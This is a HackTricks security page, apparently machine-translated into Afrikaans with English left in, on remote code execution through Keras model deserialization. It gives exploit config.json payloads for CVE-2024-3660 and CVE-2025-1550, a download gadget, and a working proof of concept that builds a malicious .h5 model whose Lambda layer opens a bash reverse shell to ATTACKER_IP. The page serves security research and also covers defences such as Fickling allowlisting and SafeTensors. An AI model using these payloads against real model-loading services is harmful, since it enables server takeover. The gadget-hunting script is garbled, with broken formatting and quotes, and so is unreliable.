Keras Model Deserialization RCE and Gadget Hunting
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die đŹ Discord groep of die telegram groep of volg ons op Twitter đŠ @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Hierdie bladsy som practical exploitation techniques op teen die Keras model deserialization pipeline, verduidelik die native .keras format internals en attack surface, en voorsien ân navorsers toolkit vir die vind van Model File Vulnerabilities (MFVs) en post-fix gadgets.
.keras model format internals
ân .keras file is ân ZIP-argief wat ten minste die volgende bevat:
- metadata.json â algemene inligting (bv., Keras version)
- config.json â model-argitektuur (primary attack surface)
- model.weights.h5 â gewigte in HDF5
Die config.json dryf rekursiewe deserialisering: Keras importeer modules, los classes/functions op en rekonstrueer layers/objects vanaf attacker-controlled dictionaries.
Example snippet for a Dense layer object:
{
"module": "keras.layers",
"class_name": "Dense",
"config": {
"units": 64,
"activation": {
"module": "keras.activations",
"class_name": "relu"
},
"kernel_initializer": {
"module": "keras.initializers",
"class_name": "GlorotUniform"
}
}
}
Deserialization voer uit:
- Module import en symbol resolution van module/class_name keys
- from_config(âŠ) of constructor invocation met attacker-controlled kwargs
- Rekursie in geneste objects (activations, initializers, constraints, etc.)
In die verlede het dit drie primitives aan ân attacker wat config.json saamstel blootgestel:
- Beheer oor watter modules geĂŻmporteer word
- Beheer oor watter classes/functions opgelos word
- Beheer oor kwargs wat aan constructors/from_config deurgegee word
CVE-2024-3660 â Lambda-layer bytecode RCE
Hoof oorsaak:
- Lambda.from_config() het python_utils.func_load(âŠ) gebruik wat base64-dekodeer en marshal.loads() op attacker bytes aanroep; Python unmarshalling kan kode uitvoer.
Exploit idea (simplified payload in config.json):
{
"module": "keras.layers",
"class_name": "Lambda",
"config": {
"name": "exploit_lambda",
"function": {
"function_type": "lambda",
"bytecode_b64": "<attacker_base64_marshal_payload>"
}
}
}
Mitigering:
- Keras dwing safe_mode=True af by verstek. Geserialiseerde Python-funksies in Lambda word geblokkeer tensy ân gebruiker uitdruklik uitskakel met safe_mode=False.
Notas:
- Legacy formats (older HDF5 saves) of ouer kodebasisse mag nie moderne kontrole afdwing nie, so âdowngradeâ style attacks kan steeds van toepassing wees wanneer victims ouer loaders gebruik.
CVE-2025-1550 â Willekeurige module-import in Keras †3.8
Oorsaak:
- _retrieve_class_or_fn het onbeperkte importlib.import_module() gebruik met attacker-controlled module strings uit config.json.
- Impak: Willekeurige import van enige geĂŻnstalleerde module (of attacker-planted module op sys.path). Kode wat tydens die import uitgevoer word, waarna objekkonstruksie plaasvind met attacker kwargs.
Eksploit-idee:
{
"module": "maliciouspkg",
"class_name": "Danger",
"config": {"arg": "val"}
}
Sekuriteitsverbeterings (Keras â„ 3.9):
- Module allowlist: imports beperk tot amptelike ekosisteem-modules: keras, keras_hub, keras_cv, keras_nlp
- Standaard veilige modus: safe_mode=True blokkeer unsafe Lambda serialized-function loading
- Basiese tipekontrole: deserialized objects moet ooreenstem met verwagte tipes
Practical exploitation: TensorFlow-Keras HDF5 (.h5) Lambda RCE
Baie produksie-stakke aanvaar nog steeds verouderde TensorFlow-Keras HDF5 modellĂȘers (.h5). As ân aanvaller ân model kan oplaai wat die bediener later laai of inferensie daarop uitvoer, kan ân Lambda layer arbitrĂȘre Python op load/build/predict uitvoer.
Minimale PoC om ân kwaadwillige .h5 te skep wat ân reverse shell uitvoer wanneer dit deserialized of gebruik word:
import tensorflow as tf
def exploit(x):
import os
os.system("bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1'")
return x
m = tf.keras.Sequential()
m.add(tf.keras.layers.Input(shape=(64,)))
m.add(tf.keras.layers.Lambda(exploit))
m.compile()
m.save("exploit.h5") # legacy HDF5 container
Notes and reliability tips:
- Trigger-punte: kode mag meerdere kere uitgevoer word (bv. tydens layer build/first call, model.load_model, en predict/fit). Maak payloads idempotent.
- Weergawe vasmaak: pas die teiken se TF/Keras/Python aan om serialiserings-mismatches te vermy. Byvoorbeeld, bou artefakte met Python 3.8 en TensorFlow 2.13.1 as dit die weergawe is wat die teiken gebruik.
- Vinnige omgewingsreplikasie:
FROM python:3.8-slim
RUN pip install tensorflow-cpu==2.13.1
- Validasie: ân onskadelike payload soos os.system(âping -c 1 YOUR_IPâ) help uitvoering bevestig (bv., observeer ICMP met tcpdump) voordat na ân reverse shell oorgeskakel word.
Post-fix gadget-oppervlak binne allowlist
Selfs met allowlisting en safe mode bly ân wye oppervlak bestaan onder toegelate Keras callables. Byvoorbeeld, keras.utils.get_file kan arbitrĂȘre URLs na deur die gebruiker kiesbare plekke aflaai.
Gadget via Lambda wat na ân toegelate funksie verwys (nie geserialiseerde Python bytecode nie):
{
"module": "keras.layers",
"class_name": "Lambda",
"config": {
"name": "dl",
"function": {"module": "keras.utils", "class_name": "get_file"},
"arguments": {
"fname": "artifact.bin",
"origin": "https://example.com/artifact.bin",
"cache_dir": "/tmp/keras-cache"
}
}
}
Belangrike beperking:
- Lambda.call() voeg die input tensor as die eerste posisionele argument voor wanneer die teiken callable aangeroep word. Gekose gadgets moet ân ekstra posisionele arg verdra (of *args/**kwargs aanvaar). Dit beperk watter funksies bruikbaar is.
ML pickle-importe toelaatlys vir AI/ML-modelle (Fickling)
Baie AI/ML-modelformate (PyTorch .pt/.pth/.ckpt, joblib/scikit-learn, ouer TensorFlow-artifakte, ens.) bevat Python pickle-data. Aanvallers misbruik gereeld pickle GLOBAL-imports en objekkonstruktore om RCE of modelvervanging tydens laai te bewerkstellig. Swartlys-gebaseerde skandeerders mis dikwels nuwe of nie-gelysde gevaarlike imports.
â n Praktiese fail-closed verdediging is om Python se pickle-deserializer te hook en slegs ân hersiene stel onskadelike, ML-verwante imports tydens unpickling toe te laat. Trail of Bits se Fickling implementeer hierdie beleid en lewer ân gekurateeerde ML-import-toelaatlys gebou uit duisende publieke Hugging Face-pickles.
Sekuriteitsmodel vir âveiligeâ imports (insigte gedistilleer uit navorsing en praktyk): geĂŻmporteerde simbole wat deur ân pickle gebruik word, moet gelyktydig:
- Nie kode uitvoer of uitvoering veroorsaak nie (geen compiled/source code objects, shelling out, hooks, ens.)
- Nie willekeurige attributte of items kry/instel nie
- Nie imports doen of verwysings na ander Python-objekte vanaf die pickle VM bekom nie
- Nie sekondĂȘre deserializers aktiveer nie (bv. marshal, nested pickle), selfs nie indirek nie
Skakel Fickling se beskerming so vroeg moontlik in tydens proses-opstart in sodat enige pickle-laaie wat deur frameworks (torch.load, joblib.load, ens.) uitgevoer word, nagegaan word:
import fickling
# Sets global hooks on the stdlib pickle module
fickling.hook.activate_safe_ml_environment()
Operasionele wenke:
- Jy kan tydelik die hooks deaktiveer/heraktiveer waar nodig:
fickling.hook.deactivate_safe_ml_environment()
# ... load fully trusted files only ...
fickling.hook.activate_safe_ml_environment()
- As ân bekende-goeie model geblokkeer word, brei die allowlist vir jou omgewing uit nadat jy die simbole hersien:
fickling.hook.activate_safe_ml_environment(also_allow=[
"package.subpackage.safe_symbol",
"another.safe.import",
])
-
Fickling bied ook generiese runtime-guards aan as jy meer gedetailleerde beheer verkies:
-
fickling.always_check_safety() om kontrole af te dwing vir alle pickle.load()
-
with fickling.check_safety(): vir afgebakende afdwinging
-
fickling.load(path) / fickling.is_likely_safe(path) vir eenmalige kontroles
-
Gee voorkeur aan nie-pickle modelformate waar moontlik (bv. SafeTensors). As jy pickle moet aanvaar, laat loaders loop onder die minste regte, sonder netwerkuitset en handhaaf die allowlist.
Hierdie allowlist-eerste strategie blokkeer aantoonbaar algemene ML pickle-uitbuitingspaaie terwyl dit hoĂ« verenigbaarheid behou. In ToB se benchmark het Fickling 100% van sintetiese kwaadwillige lĂȘers gemerk en ongeveer ~99% van skoon lĂȘers van top Hugging Face repos toegelaat.
Navorsersgereedskap
- Sistematiese gadget-ontdekking in toegelate modules
Lys kandidaat-callables in keras, keras_nlp, keras_cv, keras_hub en prioritiseer dié met file/network/process/env newe-effekte.
Lys moontlik gevaarlike callables in allowlisted Keras-modules
```python import importlib, inspect, pkgutilALLOWLIST = [âkerasâ, âkeras_nlpâ, âkeras_cvâ, âkeras_hubâ]
seen = set()
def iter_modules(mod): if not hasattr(mod, âpathâ): return for m in pkgutil.walk_packages(mod.path, mod.name + â.â): yield m.name
candidates = [] for root in ALLOWLIST: try: r = importlib.import_module(root) except Exception: continue for name in iter_modules(r): if name in seen: continue seen.add(name) try: m = importlib.import_module(name) except Exception: continue for n, obj in inspect.getmembers(m): if inspect.isfunction(obj) or inspect.isclass(obj): sig = None try: sig = str(inspect.signature(obj)) except Exception: pass doc = (inspect.getdoc(obj) or ââ).lower() text = fâ{name}.{n} {sig} :: {doc}â
Heuristics: look for I/O or network-ish hints
if any(x in doc for x in [âdownloadâ, âfileâ, âpathâ, âopenâ, âurlâ, âhttpâ, âsocketâ, âenvâ, âprocessâ, âspawnâ, âexecâ]): candidates.append(text)
print(â\nâ.join(sorted(candidates)[:200]))
</details>
2) Direkte deserialisasietoetsing (geen .keras-argief nodig nie)
Voer uitgewerkte dicts direk in Keras deserializers in om die aanvaarde parameters te leer en newe-effekte waar te neem.
```python
from keras import layers
cfg = {
"module": "keras.layers",
"class_name": "Lambda",
"config": {
"name": "probe",
"function": {"module": "keras.utils", "class_name": "get_file"},
"arguments": {"fname": "x", "origin": "https://example.com/x"}
}
}
layer = layers.deserialize(cfg, safe_mode=True) # Observe behavior
- Kruis-weergawe ondersoek en formate
Keras bestaan in verskeie kodebasisse/eraâs met verskillende beskermingsmeganismes en formate:
- TensorFlow built-in Keras: tensorflow/python/keras (erfenis, beplan om verwyder te word)
- tf-keras: afsonderlik onderhou
- Multi-backend Keras 3 (amptelik): het inheemse .keras ingestel
Herhaal toetse oor kodebasisse en formate (.keras vs legacy HDF5) om regressies of ontbrekende beskerming te openbaar.
Verwysings
- Hunting Vulnerabilities in Keras Model Deserialization (huntr blog)
- Keras PR #20751 â Added checks to serialization
- CVE-2024-3660 â Keras Lambda deserialization RCE
- CVE-2025-1550 â Keras arbitrary module import (†3.8)
- huntr report â arbitrary import #1
- huntr report â arbitrary import #2
- HTB Artificial â TensorFlow .h5 Lambda RCE to root
- Trail of Bits blog â Ficklingâs new AI/ML pickle file scanner
- Fickling â Securing AI/ML environments (README)
- Fickling pickle scanning benchmark corpus
- Picklescan, ModelScan, model-unpickler
- Sleepy Pickle attacks background
- SafeTensors project
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die đŹ Discord groep of die telegram groep of volg ons op Twitter đŠ @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
HackTricks

